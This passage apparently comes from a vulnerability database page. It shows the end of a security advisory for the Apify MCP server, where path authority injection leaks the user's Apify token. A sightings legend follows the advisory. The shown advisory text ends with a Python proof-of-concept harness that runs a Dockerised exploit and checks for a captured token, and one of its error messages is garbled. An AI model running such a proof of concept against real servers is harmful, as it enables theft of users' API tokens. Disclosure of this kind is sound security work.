f\u0027python3 poc.py\u0027,\n \u0027evidence\u0027: evidence,\n \u0027artifacts\u0027: [\u0027Dockerfile\u0027, \u0027exploit.mjs\u0027, \u0027poc.py\u0027],\n })\n else:\n reason_detail = \u0027\u0027\n if run_result.returncode != 0:\n reason_detail = f\u0027container exit code {run_result.returncode}. \u0027\n if \u0027TOKEN_CAPTURED\u0027 not in stdout:\n reason_detail += \u0027attacker serverfrom token capture text textnot not. \u0027\n if \u0027EXPLOIT SUCCESSFUL\u0027 not in stdout:\n reason_detail += \u0027final success message none. \u0027\n\n print(f\u0027\\n[\u2717] FAIL \u2014 {reason_detail}\u0027)\n write_result({\n \u0027passed\u0027: False,\n \u0027verdict\u0027: \u0027FAIL\u0027,\n \u0027reason\u0027: f\u0027failed to reproduce the vulnerability. {reason_detail}stderr: {stderr[:300]}\u0027,\n \u0027build_command\u0027: \u0027 \u0027.join(BUILD_CMD),\n \u0027run_command\u0027: \u0027 \u0027.join(RUN_CMD),\n \u0027poc_command\u0027: f\u0027python3 poc.py\u0027,\n \u0027evidence\u0027: stdout[-2000:] + (\u0027\\nSTDERR: \u0027 + stderr[:500] if stderr else \u0027\u0027),\n \u0027artifacts\u0027: [\u0027Dockerfile\u0027, \u0027exploit.mjs\u0027, \u0027poc.py\u0027],\n })\n sys.exit(1)\n\n\nif __name__ == \u0027__main__\u0027:\n main()\n```",
"id": "GHSA-6gr2-qh89-hxwm",
"modified": "2026-07-01T22:02:15Z",
"published": "2026-07-01T22:02:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apify/apify-mcp-server/security/advisories/GHSA-6gr2-qh89-hxwm"
},
{
"type": "PACKAGE",
"url": "https://github.com/apify/apify-mcp-server"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Apify Model Context Protocol (MCP) server: Actor MCP path authority injection leaks Apify token"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.